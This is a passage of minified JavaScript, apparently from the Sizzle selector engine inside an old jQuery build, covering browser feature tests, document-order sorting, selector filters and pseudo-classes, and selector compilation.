  889.                     if (typeof aJ.getElementsByTagName !== az) {
  890.                         return aJ.getElementsByTagName(aI)
  891.                     }
  892.                 } : function(aI, aM) {
  893.                     var aN, aL = [],
  894.                         aK = 0,
  895.                         aJ = aM.getElementsByTagName(aI);
  896.                     if (aI === "*") {
  897.                         while ((aN = aJ[aK++])) {
  898.                             if (aN.nodeType === 1) {
  899.                                 aL.push(aN)
  900.                             }
  901.                         }
  902.                         return aL
  903.                     }
  904.                     return aJ
  905.                 };
  906.                 v.find.CLASS = aD.getElementsByClassName && function(aJ, aI) {
  907.                     if (typeof aI.getElementsByClassName !== az && at) {
  908.                         return aI.getElementsByClassName(aJ)
  909.                     }
  910.                 };
  911.                 aB = [];
  912.                 an = [];
  913.                 if ((aD.qsa = O(i.querySelectorAll))) {
  914.                     m(function(aI) {
  915.                         aI.innerHTML = "<select><option selected=''></option></select>";
  916.                         if (!aI.querySelectorAll("[selected]").length) {
  917.                             an.push("\\[" + x + "*(?:value|" + c + ")")
  918.                         }
  919.                         if (!aI.querySelectorAll(":checked").length) {
  920.                             an.push(":checked")
  921.                         }
  922.                     });
  923.                     m(function(aJ) {
  924.                         var aI = i.createElement("input");
  925.                         aI.setAttribute("type", "hidden");
  926.                         aJ.appendChild(aI).setAttribute("t", "");
  927.                         if (aJ.querySelectorAll("[t^='']").length) {
  928.                             an.push("[*^$]=" + x + "*(?:''|\"\")")
  929.                         }
  930.                         if (!aJ.querySelectorAll(":enabled").length) {
  931.                             an.push(":enabled", ":disabled")
  932.                         }
  933.                         aJ.querySelectorAll("*,:x");
  934.                         an.push(",.*:")
  935.                     })
  936.                 }
  937.                 if ((aD.matchesSelector = O((k = w.webkitMatchesSelector || w.mozMatchesSelector || w.oMatchesSelector || w.msMatchesSelector)))) {
  938.                     m(function(aI) {
  939.                         aD.disconnectedMatch = k.call(aI, "div");
  940.                         k.call(aI, "[s!='']:x");
  941.                         aB.push("!=", s)
  942.                     })
  943.                 }
  944.                 an = an.length && new RegExp(an.join("|"));
  945.                 aB = aB.length && new RegExp(aB.join("|"));
  946.                 P = O(w.contains) || w.compareDocumentPosition ? function(aJ, aI) {
  947.                     var aL = aJ.nodeType === 9 ? aJ.documentElement : aJ,
  948.                         aK = aI && aI.parentNode;
  949.                     return aJ === aK || !!(aK && aK.nodeType === 1 && (aL.contains ? aL.contains(aK) : aJ.compareDocumentPosition && aJ.compareDocumentPosition(aK) & 16))
  950.                 } : function(aJ, aI) {
  951.                     if (aI) {
  952.                         while ((aI = aI.parentNode)) {
  953.                             if (aI === aJ) {
  954.                                 return true
  955.                             }
  956.                         }
  957.                     }
  958.                     return false
  959.                 };
  960.                 aD.sortDetached = m(function(aI) {
  961.                     return aI.compareDocumentPosition(i.createElement("div")) & 1
  962.                 });
  963.                 N = w.compareDocumentPosition ? function(aJ, aI) {
  964.                     if (aJ === aI) {
  965.                         ah = true;
  966.                         return 0
  967.                     }
  968.                     var aK = aI.compareDocumentPosition && aJ.compareDocumentPosition && aJ.compareDocumentPosition(aI);
  969.                     if (aK) {
  970.                         if (aK & 1 || (!aD.sortDetached && aI.compareDocumentPosition(aJ) === aK)) {
  971.                             if (aJ === i || P(T, aJ)) {
  972.                                 return -1
  973.                             }
  974.                             if (aI === i || P(T, aI)) {
  975.                                 return 1
  976.                             }
  977.                             return S ? (j.call(S, aJ) - j.call(S, aI)) : 0
  978.                         }
  979.                         return aK & 4 ? -1 : 1
  980.                     }
  981.                     return aJ.compareDocumentPosition ? -1 : 1
  982.                 } : function(aJ, aI) {
  983.                     var aP, aM = 0,
  984.                         aO = aJ.parentNode,
  985.                         aL = aI.parentNode,
  986.                         aK = [aJ],
  987.                         aN = [aI];
  988.                     if (aJ === aI) {
  989.                         ah = true;
  990.                         return 0
  991.                     } else {
  992.                         if (!aO || !aL) {
  993.                             return aJ === i ? -1 : aI === i ? 1 : aO ? -1 : aL ? 1 : S ? (j.call(S, aJ) - j.call(S, aI)) : 0
  994.                         } else {
  995.                             if (aO === aL) {
  996.                                 return f(aJ, aI)
  997.                             }
  998.                         }
  999.                     }
  1000.                     aP = aJ;
  1001.                     while ((aP = aP.parentNode)) {
  1002.                         aK.unshift(aP)
  1003.                     }
  1004.                     aP = aI;
  1005.                     while ((aP = aP.parentNode)) {
  1006.                         aN.unshift(aP)
  1007.                     }
  1008.                     while (aK[aM] === aN[aM]) {
  1009.                         aM++
  1010.                     }
  1011.                     return aM ? f(aK[aM], aN[aM]) : aK[aM] === T ? -1 : aN[aM] === T ? 1 : 0
  1012.                 };
  1013.                 return i
  1014.             };
  1015.             E.matches = function(i, e) {
  1016.                 return E(i, null, null, e)
  1017.             };
  1018.             E.matchesSelector = function(aI, aK) {
  1019.                 if ((aI.ownerDocument || aI) !== L) {
  1020.                     aj(aI)
  1021.                 }
  1022.                 aK = aK.replace(B, "='$1']");
  1023.                 if (aD.matchesSelector && at && (!aB || !aB.test(aK)) && (!an || !an.test(aK))) {
  1024.                     try {
  1025.                         var i = k.call(aI, aK);
  1026.                         if (i || aD.disconnectedMatch || aI.document && aI.document.nodeType !== 11) {
  1027.                             return i
  1028.                         }
  1029.                     } catch (aJ) {}
  1030.                 }
  1031.                 return E(aK, L, null, [aI]).length > 0
  1032.             };
  1033.             E.contains = function(e, i) {
  1034.                 if ((e.ownerDocument || e) !== L) {
  1035.                     aj(e)
  1036.                 }
  1037.                 return P(e, i)
  1038.             };
  1039.             E.attr = function(aI, e) {
  1040.                 if ((aI.ownerDocument || aI) !== L) {
  1041.                     aj(aI)
  1042.                 }
  1043.                 var i = v.attrHandle[e.toLowerCase()],
  1044.                     aJ = (i && Y.call(v.attrHandle, e.toLowerCase()) ? i(aI, e, !at) : q);
  1045.                 return aJ === q ? aD.attributes || !at ? aI.getAttribute(e) : (aJ = aI.getAttributeNode(e)) && aJ.specified ? aJ.value : null : aJ
  1046.             };
  1047.             E.error = function(e) {
  1048.                 throw new Error("Syntax error, unrecognized expression: " + e)
  1049.             };
  1050.             E.uniqueSort = function(aJ) {
  1051.                 var aK, aL = [],
  1052.                     e = 0,
  1053.                     aI = 0;
  1054.                 ah = !aD.detectDuplicates;
  1055.                 S = !aD.sortStable && aJ.slice(0);
  1056.                 aJ.sort(N);
  1057.                 if (ah) {
  1058.                     while ((aK = aJ[aI++])) {
  1059.                         if (aK === aJ[aI]) {
  1060.                             e = aL.push(aI)
  1061.                         }
  1062.                     }
  1063.                     while (e--) {
  1064.                         aJ.splice(aL[e], 1)
  1065.                     }
  1066.                 }
  1067.                 return aJ
  1068.             };
  1069.             R = E.getText = function(aL) {
  1070.                 var aK, aI = "",
  1071.                     aJ = 0,
  1072.                     e = aL.nodeType;
  1073.                 if (!e) {
  1074.                     for (;
  1075.                         (aK = aL[aJ]); aJ++) {
  1076.                         aI += R(aK)
  1077.                     }
  1078.                 } else {
  1079.                     if (e === 1 || e === 9 || e === 11) {
  1080.                         if (typeof aL.textContent === "string") {
  1081.                             return aL.textContent
  1082.                         } else {
  1083.                             for (aL = aL.firstChild; aL; aL = aL.nextSibling) {
  1084.                                 aI += R(aL)
  1085.                             }
  1086.                         }
  1087.                     } else {
  1088.                         if (e === 3 || e === 4) {
  1089.                             return aL.nodeValue
  1090.                         }
  1091.                     }
  1092.                 }
  1093.                 return aI
  1094.             };
  1095.             v = E.selectors = {
  1096.                 cacheLength: 50,
  1097.                 createPseudo: r,
  1098.                 match: am,
  1099.                 attrHandle: {},
  1100.                 find: {},
  1101.                 relative: {
  1102.                     ">": {
  1103.                         dir: "parentNode",
  1104.                         first: true
  1105.                     },
  1106.                     " ": {
  1107.                         dir: "parentNode"
  1108.                     },
  1109.                     "+": {
  1110.                         dir: "previousSibling",
  1111.                         first: true
  1112.                     },
  1113.                     "~": {
  1114.                         dir: "previousSibling"
  1115.                     }
  1116.                 },
  1117.                 preFilter: {
  1118.                     ATTR: function(e) {
  1119.                         e[1] = e[1].replace(A, ap);
  1120.                         e[3] = (e[4] || e[5] || "").replace(A, ap);
  1121.                         if (e[2] === "~=") {
  1122.                             e[3] = " " + e[3] + " "
  1123.                         }
  1124.                         return e.slice(0, 4)
  1125.                     },
  1126.                     CHILD: function(e) {
  1127.                         e[1] = e[1].toLowerCase();
  1128.                         if (e[1].slice(0, 3) === "nth") {
  1129.                             if (!e[3]) {
  1130.                                 E.error(e[0])
  1131.                             }
  1132.                             e[4] = +(e[4] ? e[5] + (e[6] || 1) : 2 * (e[3] === "even" || e[3] === "odd"));
  1133.                             e[5] = +((e[7] + e[8]) || e[3] === "odd")
  1134.                         } else {
  1135.                             if (e[3]) {
  1136.                                 E.error(e[0])
  1137.                             }
  1138.                         }
  1139.                         return e
  1140.                     },
  1141.                     PSEUDO: function(i) {
  1142.                         var e, aI = !i[5] && i[2];
  1143.                         if (am.CHILD.test(i[0])) {
  1144.                             return null
  1145.                         }
  1146.                         if (i[3] && i[4] !== q) {
  1147.                             i[2] = i[4]
  1148.                         } else {
  1149.                             if (aI && ad.test(aI) && (e = p(aI, true)) && (e = aI.indexOf(")", aI.length - e) - aI.length)) {
  1150.                                 i[0] = i[0].slice(0, e);
  1151.                                 i[2] = aI.slice(0, e)
  1152.                             }
  1153.                         }
  1154.                         return i.slice(0, 3)
  1155.                     }
  1156.                 },
  1157.                 filter: {
  1158.                     TAG: function(i) {
  1159.                         var e = i.replace(A, ap).toLowerCase();
  1160.                         return i === "*" ? function() {
  1161.                             return true
  1162.                         } : function(aI) {
  1163.                             return aI.nodeName && aI.nodeName.toLowerCase() === e
  1164.                         }
  1165.                     },
  1166.                     CLASS: function(e) {
  1167.                         var i = d[e + " "];
  1168.                         return i || (i = new RegExp("(^|" + x + ")" + e + "(" + x + "|$)")) && d(e, function(aI) {
  1169.                             return i.test(typeof aI.className === "string" && aI.className || typeof aI.getAttribute !== az && aI.getAttribute("class") || "")
  1170.                         })
  1171.                     },
  1172.                     ATTR: function(aI, i, e) {
  1173.                         return function(aK) {
  1174.                             var aJ = E.attr(aK, aI);
  1175.                             if (aJ == null) {
  1176.                                 return i === "!="
  1177.                             }
  1178.                             if (!i) {
  1179.                                 return true
  1180.                             }
  1181.                             aJ += "";
  1182.                             return i === "=" ? aJ === e : i === "!=" ? aJ !== e : i === "^=" ? e && aJ.indexOf(e) === 0 : i === "*=" ? e && aJ.indexOf(e) > -1 : i === "$=" ? e && aJ.slice(-e.length) === e : i === "~=" ? (" " + aJ + " ").indexOf(e) > -1 : i === "|=" ? aJ === e || aJ.slice(0, e.length + 1) === e + "-" : false
  1183.                         }
  1184.                     },
  1185.                     CHILD: function(i, aK, aJ, aL, aI) {
  1186.                         var aN = i.slice(0, 3) !== "nth",
  1187.                             e = i.slice(-4) !== "last",
  1188.                             aM = aK === "of-type";
  1189.                         return aL === 1 && aI === 0 ? function(aO) {
  1190.                             return !!aO.parentNode
  1191.                         } : function(aU, aS, aX) {
  1192.                             var aO, a0, aV, aZ, aW, aR, aT = aN !== e ? "nextSibling" : "previousSibling",
  1193.                                 aY = aU.parentNode,
  1194.                                 aQ = aM && aU.nodeName.toLowerCase(),
  1195.                                 aP = !aX && !aM;
  1196.                             if (aY) {
  1197.                                 if (aN) {
  1198.                                     while (aT) {
  1199.                                         aV = aU;
  1200.                                         while ((aV = aV[aT])) {
  1201.                                             if (aM ? aV.nodeName.toLowerCase() === aQ : aV.nodeType === 1) {
  1202.                                                 return false
  1203.                                             }
  1204.                                         }
  1205.                                         aR = aT = i === "only" && !aR && "nextSibling"
  1206.                                     }
  1207.                                     return true
  1208.                                 }
  1209.                                 aR = [e ? aY.firstChild : aY.lastChild];
  1210.                                 if (e && aP) {
  1211.                                     a0 = aY[av] || (aY[av] = {});
  1212.                                     aO = a0[i] || [];
  1213.                                     aW = aO[0] === aE && aO[1];
  1214.                                     aZ = aO[0] === aE && aO[2];
  1215.                                     aV = aW && aY.childNodes[aW];
  1216.                                     while ((aV = ++aW && aV && aV[aT] || (aZ = aW = 0) || aR.pop())) {
  1217.                                         if (aV.nodeType === 1 && ++aZ && aV === aU) {
  1218.                                             a0[i] = [aE, aW, aZ];
  1219.                                             break
  1220.                                         }
  1221.                                     }
  1222.                                 } else {
  1223.                                     if (aP && (aO = (aU[av] || (aU[av] = {}))[i]) && aO[0] === aE) {
  1224.                                         aZ = aO[1]
  1225.                                     } else {
  1226.                                         while ((aV = ++aW && aV && aV[aT] || (aZ = aW = 0) || aR.pop())) {
  1227.                                             if ((aM ? aV.nodeName.toLowerCase() === aQ : aV.nodeType === 1) && ++aZ) {
  1228.                                                 if (aP) {
  1229.                                                     (aV[av] || (aV[av] = {}))[i] = [aE, aZ]
  1230.                                                 }
  1231.                                                 if (aV === aU) {
  1232.                                                     break
  1233.                                                 }
  1234.                                             }
  1235.                                         }
  1236.                                     }
  1237.                                 }
  1238.                                 aZ -= aI;
  1239.                                 return aZ === aL || (aZ % aL === 0 && aZ / aL >= 0)
  1240.                             }
  1241.                         }
  1242.                     },
  1243.                     PSEUDO: function(aJ, aI) {
  1244.                         var e, i = v.pseudos[aJ] || v.setFilters[aJ.toLowerCase()] || E.error("unsupported pseudo: " + aJ);
  1245.                         if (i[av]) {
  1246.                             return i(aI)
  1247.                         }
  1248.                         if (i.length > 1) {
  1249.                             e = [aJ, aJ, "", aI];
  1250.                             return v.setFilters.hasOwnProperty(aJ.toLowerCase()) ? r(function(aM, aO) {
  1251.                                 var aL, aK = i(aM, aI),
  1252.                                     aN = aK.length;
  1253.                                 while (aN--) {
  1254.                                     aL = j.call(aM, aK[aN]);
  1255.                                     aM[aL] = !(aO[aL] = aK[aN])
  1256.                                 }
  1257.                             }) : function(aK) {
  1258.                                 return i(aK, 0, e)
  1259.                             }
  1260.                         }
  1261.                         return i
  1262.                     }
  1263.                 },
  1264.                 pseudos: {
  1265.                     not: r(function(e) {
  1266.                         var i = [],
  1267.                             aI = [],
  1268.                             aJ = ag(e.replace(z, "$1"));
  1269.                         return aJ[av] ? r(function(aL, aQ, aO, aM) {
  1270.                             var aP, aK = aJ(aL, null, aM, []),
  1271.                                 aN = aL.length;
  1272.                             while (aN--) {
  1273.                                 if ((aP = aK[aN])) {
  1274.                                     aL[aN] = !(aQ[aN] = aP)
  1275.                                 }
  1276.                             }
  1277.                         }) : function(aM, aL, aK) {
  1278.                             i[0] = aM;
  1279.                             aJ(i, null, aK, aI);
  1280.                             return !aI.pop()
  1281.                         }
  1282.                     }),
  1283.                     has: r(function(e) {
  1284.                         return function(i) {
  1285.                             return E(e, i).length > 0
  1286.                         }
  1287.                     }),
  1288.                     contains: r(function(e) {
  1289.                         return function(i) {
  1290.                             return (i.textContent || i.innerText || R(i)).indexOf(e) > -1
  1291.                         }
  1292.                     }),
  1293.                     lang: r(function(e) {
  1294.                         if (!ae.test(e || "")) {
  1295.                             E.error("unsupported lang: " + e)
  1296.                         }
  1297.                         e = e.replace(A, ap).toLowerCase();
  1298.                         return function(aI) {
  1299.                             var i;
  1300.                             do {
  1301.                                 if ((i = at ? aI.lang : aI.getAttribute("xml:lang") || aI.getAttribute("lang"))) {
  1302.                                     i = i.toLowerCase();
  1303.                                     return i === e || i.indexOf(e + "-") === 0
  1304.                                 }
  1305.                             } while ((aI = aI.parentNode) && aI.nodeType === 1);
  1306.                             return false
  1307.                         }
  1308.                     }),
  1309.                     target: function(e) {
  1310.                         var i = aA.location && aA.location.hash;
  1311.                         return i && i.slice(1) === e.id
  1312.                     },
  1313.                     root: function(e) {
  1314.                         return e === w
  1315.                     },
  1316.                     focus: function(e) {
  1317.                         return e === L.activeElement && (!L.hasFocus || L.hasFocus()) && !!(e.type || e.href || ~e.tabIndex)
  1318.                     },
  1319.                     enabled: function(e) {
  1320.                         return e.disabled === false
  1321.                     },
  1322.                     disabled: function(e) {
  1323.                         return e.disabled === true
  1324.                     },
  1325.                     checked: function(e) {
  1326.                         var i = e.nodeName.toLowerCase();
  1327.                         return (i === "input" && !!e.checked) || (i === "option" && !!e.selected)
  1328.                     },
  1329.                     selected: function(e) {
  1330.                         if (e.parentNode) {
  1331.                             e.parentNode.selectedIndex
  1332.                         }
  1333.                         return e.selected === true
  1334.                     },
  1335.                     empty: function(e) {
  1336.                         for (e = e.firstChild; e; e = e.nextSibling) {
  1337.                             if (e.nodeName > "@" || e.nodeType === 3 || e.nodeType === 4) {
  1338.                                 return false
  1339.                             }
  1340.                         }
  1341.                         return true
  1342.                     },
  1343.                     parent: function(e) {
  1344.                         return !v.pseudos.empty(e)
  1345.                     },
  1346.                     header: function(e) {
  1347.                         return t.test(e.nodeName)
  1348.                     },
  1349.                     input: function(e) {
  1350.                         return h.test(e.nodeName)
  1351.                     },
  1352.                     button: function(i) {
  1353.                         var e = i.nodeName.toLowerCase();
  1354.                         return e === "input" && i.type === "button" || e === "button"
  1355.                     },
  1356.                     text: function(i) {
  1357.                         var e;
  1358.                         return i.nodeName.toLowerCase() === "input" && i.type === "text" && ((e = i.getAttribute("type")) == null || e.toLowerCase() === i.type)
  1359.                     },
  1360.                     first: ar(function() {
  1361.                         return [0]
  1362.                     }),
  1363.                     last: ar(function(e, i) {
  1364.                         return [i - 1]
  1365.                     }),
  1366.                     eq: ar(function(e, aI, i) {
  1367.                         return [i < 0 ? i + aI : i]
  1368.                     }),
  1369.                     even: ar(function(e, aJ) {
  1370.                         var aI = 0;
  1371.                         for (; aI < aJ; aI += 2) {
  1372.                             e.push(aI)
  1373.                         }
  1374.                         return e
  1375.                     }),
  1376.                     odd: ar(function(e, aJ) {
  1377.                         var aI = 1;
  1378.                         for (; aI < aJ; aI += 2) {
  1379.                             e.push(aI)
  1380.                         }
  1381.                         return e
  1382.                     }),
  1383.                     lt: ar(function(e, aK, aJ) {
  1384.                         var aI = aJ < 0 ? aJ + aK : aJ;
  1385.                         for (; --aI >= 0;) {
  1386.                             e.push(aI)
  1387.                         }
  1388.                         return e
  1389.                     }),
  1390.                     gt: ar(function(e, aK, aJ) {
  1391.                         var aI = aJ < 0 ? aJ + aK : aJ;
  1392.                         for (; ++aI < aK;) {
  1393.                             e.push(aI)
  1394.                         }
  1395.                         return e
  1396.                     })
  1397.                 }
  1398.             };
  1399.             for (G in {
  1400.                     radio: true,
  1401.                     checkbox: true,
  1402.                     file: true,
  1403.                     password: true,
  1404.                     image: true
  1405.                 }) {
  1406.                 v.pseudos[G] = F(G)
  1407.             }
  1408.             for (G in {
  1409.                     submit: true,
  1410.                     reset: true
  1411.                 }) {
  1412.                 v.pseudos[G] = g(G)
  1413.             }
  1414.  
  1415.             function p(aK, aP) {
  1416.                 var i, aL, aN, aO, aM, aI, e, aJ = au[aK + " "];
  1417.                 if (aJ) {
  1418.                     return aP ? 0 : aJ.slice(0)
  1419.                 }
  1420.                 aM = aK;
  1421.                 aI = [];
  1422.                 e = v.preFilter;
  1423.                 while (aM) {
  1424.                     if (!i || (aL = D.exec(aM))) {
  1425.                         if (aL) {
  1426.                             aM = aM.slice(aL[0].length) || aM
  1427.                         }
  1428.                         aI.push(aN = [])
  1429.                     }
  1430.                     i = false;
  1431.                     if ((aL = K.exec(aM))) {
  1432.                         i = aL.shift();
  1433.                         aN.push({
  1434.                             value: i,
  1435.                             type: aL[0].replace(z, " ")
  1436.                         });
  1437.                         aM = aM.slice(i.length)
  1438.                     }
  1439.                     for (aO in v.filter) {
  1440.                         if ((aL = am[aO].exec(aM)) && (!e[aO] || (aL = e[aO](aL)))) {
  1441.                             i = aL.shift();
  1442.                             aN.push({
  1443.                                 value: i,
  1444.                                 type: aO,
  1445.                                 matches: aL
  1446.                             });
  1447.                             aM = aM.slice(i.length)
  1448.                         }
  1449.                     }
  1450.                     if (!i) {
  1451.                         break
  1452.                     }
  1453.                 }
  1454.                 return aP ? aM.length : aM ? E.error(aK) : au(aK, aI).slice(0)
  1455.             }
  1456.  
  1457.             function o(aK) {
  1458.                 var aJ = 0,
  1459.                     aI = aK.length,
  1460.                     e = "";
  1461.                 for (; aJ < aI; aJ++) {
  1462.                     e += aK[aJ].value
  1463.                 }
  1464.                 return e
  1465.             }
  1466.  
  1467.             function y(aK, aI, aJ) {
  1468.                 var e = aI.dir,
  1469.                     aL = aJ && e === "parentNode",
  1470.                     i = ao++;
  1471.                 return aI.first ? function(aO, aN, aM) {
  1472.                     while ((aO = aO[e])) {
  1473.                         if (aO.nodeType === 1 || aL) {
  1474.                             return aK(aO, aN, aM)
  1475.                         }
  1476.                     }
  1477.                 } : function(aQ, aO, aN) {
  1478.                     var aS, aM, aP, aR = aE + " " + i;
  1479.                     if (aN) {
  1480.                         while ((aQ = aQ[e])) {
  1481.                             if (aQ.nodeType === 1 || aL) {
  1482.                                 if (aK(aQ, aO, aN)) {
  1483.                                     return true
  1484.                                 }
  1485.                             }
  1486.                         }
  1487.                     } else {
  1488.                         while ((aQ = aQ[e])) {
  1489.                             if (aQ.nodeType === 1 || aL) {
  1490.                                 aP = aQ[av] || (aQ[av] = {});
  1491.                                 if ((aM = aP[e]) && aM[0] === aR) {
  1492.                                     if ((aS = aM[1]) === true || aS === l) {
  1493.                                         return aS === true
  1494.                                     }
  1495.                                 } else {
  1496.                                     aM = aP[e] = [aR];
  1497.                                     aM[1] = aK(aQ, aO, aN) || l;
  1498.                                     if (aM[1] === true) {
  1499.                                         return true
  1500.                                     }
  1501.                                 }
  1502.                             }
  1503.                         }
  1504.                     }
  1505.                 }
  1506.             }
  1507.  
  1508.             function aG(e) {
  1509.                 return e.length > 1 ? function(aL, aK, aI) {
  1510.                     var aJ = e.length;
  1511.                     while (aJ--) {
  1512.                         if (!e[aJ](aL, aK, aI)) {
  1513.                             return false
  1514.                         }
  1515.                     }
  1516.                     return true
  1517.                 } : e[0]
  1518.             }
  1519.  
  1520.             function ak(e, aI, aJ, aK, aN) {
  1521.                 var aL, aQ = [],
  1522.                     aM = 0,
  1523.                     aO = e.length,
  1524.                     aP = aI != null;
  1525.                 for (; aM < aO; aM++) {
  1526.                     if ((aL = e[aM])) {
  1527.                         if (!aJ || aJ(aL, aK, aN)) {
  1528.                             aQ.push(aL);
  1529.                             if (aP) {
  1530.                                 aI.push(aM)
  1531.                             }
  1532.                         }
  1533.                     }
  1534.                 }
  1535.                 return aQ
  1536.             }
  1537.  
  1538.             function n(aI, i, aK, aJ, aL, e) {
  1539.                 if (aJ && !aJ[av]) {
  1540.                     aJ = n(aJ)
  1541.                 }
  1542.                 if (aL && !aL[av]) {
  1543.                     aL = n(aL, e)
  1544.                 }
  1545.                 return r(function(aW, aT, aO, aV) {
  1546.                     var aY, aU, aQ, aP = [],
  1547.                         aX = [],
  1548.                         aN = aT.length,
  1549.                         aM = aW || I(i || "*", aO.nodeType ? [aO] : aO, []),
  1550.                         aR = aI && (aW || !i) ? ak(aM, aP, aI, aO, aV) : aM,
  1551.                         aS = aK ? aL || (aW ? aI : aN || aJ) ? [] : aT : aR;
  1552.                     if (aK) {
  1553.                         aK(aR, aS, aO, aV)
  1554.                     }
  1555.                     if (aJ) {
  1556.                         aY = ak(aS, aX);
  1557.                         aJ(aY, [], aO, aV);
  1558.                         aU = aY.length;
  1559.                         while (aU--) {
  1560.                             if ((aQ = aY[aU])) {
  1561.                                 aS[aX[aU]] = !(aR[aX[aU]] = aQ)
  1562.                             }
  1563.                         }
  1564.                     }
  1565.                     if (aW) {
  1566.                         if (aL || aI) {
  1567.                             if (aL) {
  1568.                                 aY = [];
  1569.                                 aU = aS.length;
  1570.                                 while (aU--) {
  1571.                                     if ((aQ = aS[aU])) {
  1572.                                         aY.push((aR[aU] = aQ))
  1573.                                     }
  1574.                                 }
  1575.                                 aL(null, (aS = []), aY, aV)
  1576.                             }
  1577.                             aU = aS.length;
  1578.                             while (aU--) {
  1579.                                 if ((aQ = aS[aU]) && (aY = aL ? j.call(aW, aQ) : aP[aU]) > -1) {
  1580.                                     aW[aY] = !(aT[aY] = aQ)
  1581.                                 }
  1582.                             }
  1583.                         }
  1584.                     } else {
  1585.                         aS = ak(aS === aT ? aS.splice(aN, aS.length) : aS);
  1586.                         if (aL) {
  1587.                             aL(null, aT, aS, aV)
  1588.                         } else {
  1589.                             b.apply(aT, aS)
  1590.                         }
  1591.                     }
  1592.                 })
  1593.             }
  1594.  
  1595.             function aw(aN) {
  1596.                 var aI, aL, aJ, aM = aN.length,
  1597.                     aQ = v.relative[aN[0].type],
  1598.                     aR = aQ || v.relative[" "],
  1599.                     aK = aQ ? 1 : 0,
  1600.                     aO = y(function(i) {
  1601.                         return i === aI
  1602.                     }, aR, true),
  1603.                     aP = y(function(i) {
  1604.                         return j.call(aI, i) > -1
  1605.                     }, aR, true),
  1606.                     e = [function(aT, aS, i) {
  1607.                         return (!aQ && (i || aS !== aH)) || ((aI = aS).nodeType ? aO(aT, aS, i) : aP(aT, aS, i))
  1608.                     }];
  1609.                 for (; aK < aM; aK++) {
  1610.                     if ((aL = v.relative[aN[aK].type])) {
  1611.                         e = [y(aG(e), aL)]
  1612.                     } else {
  1613.                         aL = v.filter[aN[aK].type].apply(null, aN[aK].matches);
  1614.                         if (aL[av]) {
  1615.                             aJ = ++aK;
  1616.                             for (; aJ < aM; aJ++) {
  1617.                                 if (v.relative[aN[aJ].type]) {
  1618.                                     break
  1619.                                 }
  1620.                             }
  1621.                             return n(aK > 1 && aG(e), aK > 1 && o(aN.slice(0, aK - 1).concat({
  1622.                                 value: aN[aK - 2].type === " " ? "*" : ""
  1623.                             })).replace(z, "$1"), aL, aK < aJ && aw(aN.slice(aK, aJ)), aJ < aM && aw((aN = aN.slice(aJ))), aJ < aM && o(aN))
  1624.                         }
  1625.                         e.push(aL)
  1626.                     }
  1627.                 }
  1628.                 return aG(e)
  1629.             }
  1630.  
  1631.             function ai(aJ, aI) {
  1632.                 var aL = 0,
  1633.                     e = aI.length > 0,
  1634.                     aK = aJ.length > 0,
  1635.                     i = function(aV, aP, aU, aT, a1) {
  1636.                         var aQ, aR, aW, a0 = [],
  1637.                             aZ = 0,
  1638.                             aS = "0",
  1639.                             aM = aV && [],
  1640.                             aX = a1 != null,
  1641.                             aY = aH,
  1642.                             aO = aV || aK && v.find.TAG("*", a1 && aP.parentNode || aP),
  1643.                             aN = (aE += aY == null ? 1 : Math.random() || 0.1);
  1644.                         if (aX) {
  1645.                             aH = aP !== L && aP;
  1646.                             l = aL
  1647.                         }
  1648.                         for (;
  1649.                             (aQ = aO[aS]) != null; aS++) {
  1650.                             if (aK && aQ) {
  1651.                                 aR = 0;
  1652.                                 while ((aW = aJ[aR++])) {
  1653.                                     if (aW(aQ, aP, aU)) {
  1654.                                         aT.push(aQ);
  1655.                                         break
  1656.                                     }
  1657.                                 }
  1658.                                 if (aX) {
  1659.                                     aE = aN;
  1660.                                     l = ++aL
  1661.                                 }
  1662.                             }
  1663.                             if (e) {
  1664.                                 if ((aQ = !aW && aQ)) {
  1665.                                     aZ--
  1666.                                 }
  1667.                                 if (aV) {
  1668.                                     aM.push(aQ)
  1669.                                 }
  1670.                             }
  1671.                         }
  1672.                         aZ += aS;
  1673.                         if (e && aS !== aZ) {
  1674.                             aR = 0;
  1675.                             while ((aW = aI[aR++])) {
  1676.                                 aW(aM, a0, aP, aU)
  1677.                             }
  1678.                             if (aV) {
  1679.                                 if (aZ > 0) {
  1680.                                     while (aS--) {
  1681.                                         if (!(aM[aS] || a0[aS])) {
  1682.                                             a0[aS] = ay.call(aT)
  1683.                                         }
  1684.                                     }
  1685.                                 }
  1686.                                 a0 = ak(a0)
  1687.                             }
  1688.                             b.apply(aT, a0);
  1689.                             if (aX && !aV && a0.length > 0 && (aZ + aI.length) > 1) {
  1690.                                 E.uniqueSort(aT)
  1691.                             }
  1692.                         }
  1693.                         if (aX) {
  1694.                             aE = aN;
  1695.                             aH = aY
  1696.                         }
  1697.                         return aM
  1698.                     };
  1699.                 return e ? r(i) : i
  1700.             }
  1701.             ag = E.compile = function(e, aM) {
  1702.                 var aJ, aI = [],
  1703.                     aL = [],
  1704.                     aK = Q[e + " "];
  1705.                 if (!aK) {
  1706.                     if (!aM) {
  1707.                         aM = p(e)
  1708.                     }
  1709.                     aJ = aM.length;
  1710.                     while (aJ--) {
  1711.                         aK = aw(aM[aJ]);
  1712.                         if (aK[av]) {
  1713.                             aI.push(aK)
  1714.                         } else {
  1715.                             aL.push(aK)
  1716.                         }
  1717.                     }
  1718.                     aK = Q(e, ai(aL, aI))
  1719.                 }
  1720.                 return aK
  1721.             };
  1722.  
  1723.             function I(aI, aL, aK) {
  1724.                 var aJ = 0,
  1725.                     e = aL.length;
  1726.                 for (; aJ < e; aJ++) {
  1727.                     E(aI, aL[aJ], aK)
  1728.                 }
  1729.                 return aK
  1730.             }
  1731.  
  1732.             function aC(aJ, e, aK, aN) {
  1733.                 var aL, aP, aI, aQ, aO, aM = p(aJ);
  1734.                 if (!aN) {
  1735.                     if (aM.length === 1) {
  1736.                         aP = aM[0] = aM[0].slice(0);
  1737.                         if (aP.length > 2 && (aI = aP[0]).type === "ID" && aD.getById && e.nodeType === 9 && at && v.relative[aP[1].type]) {
  1738.                             e = (v.find.ID(aI.matches[0].replace(A, ap), e) || [])[0];
  1739.                             if (!e) {
  1740.                                 return aK
  1741.                             }
  1742.                             aJ = aJ.slice(aP.shift().value.length)
  1743.                         }
  1744.                         aL = am.needsContext.test(aJ) ? 0 : aP.length;
  1745.                         while (aL--) {
  1746.                             aI = aP[aL];
  1747.                             if (v.relative[(aQ = aI.type)]) {
  1748.                                 break
  1749.                             }
  1750.                             if ((aO = v.find[aQ])) {
  1751.                                 if ((aN = aO(aI.matches[0].replace(A, ap), al.test(aP[0].type) && e.parentNode || e))) {
  1752.                                     aP.splice(aL, 1);
  1753.                                     aJ = aN.length && o(aP);
  1754.                                     if (!aJ) {
  1755.                                         b.apply(aK, aN);
  1756.                                         return aK
  1757.                                     }
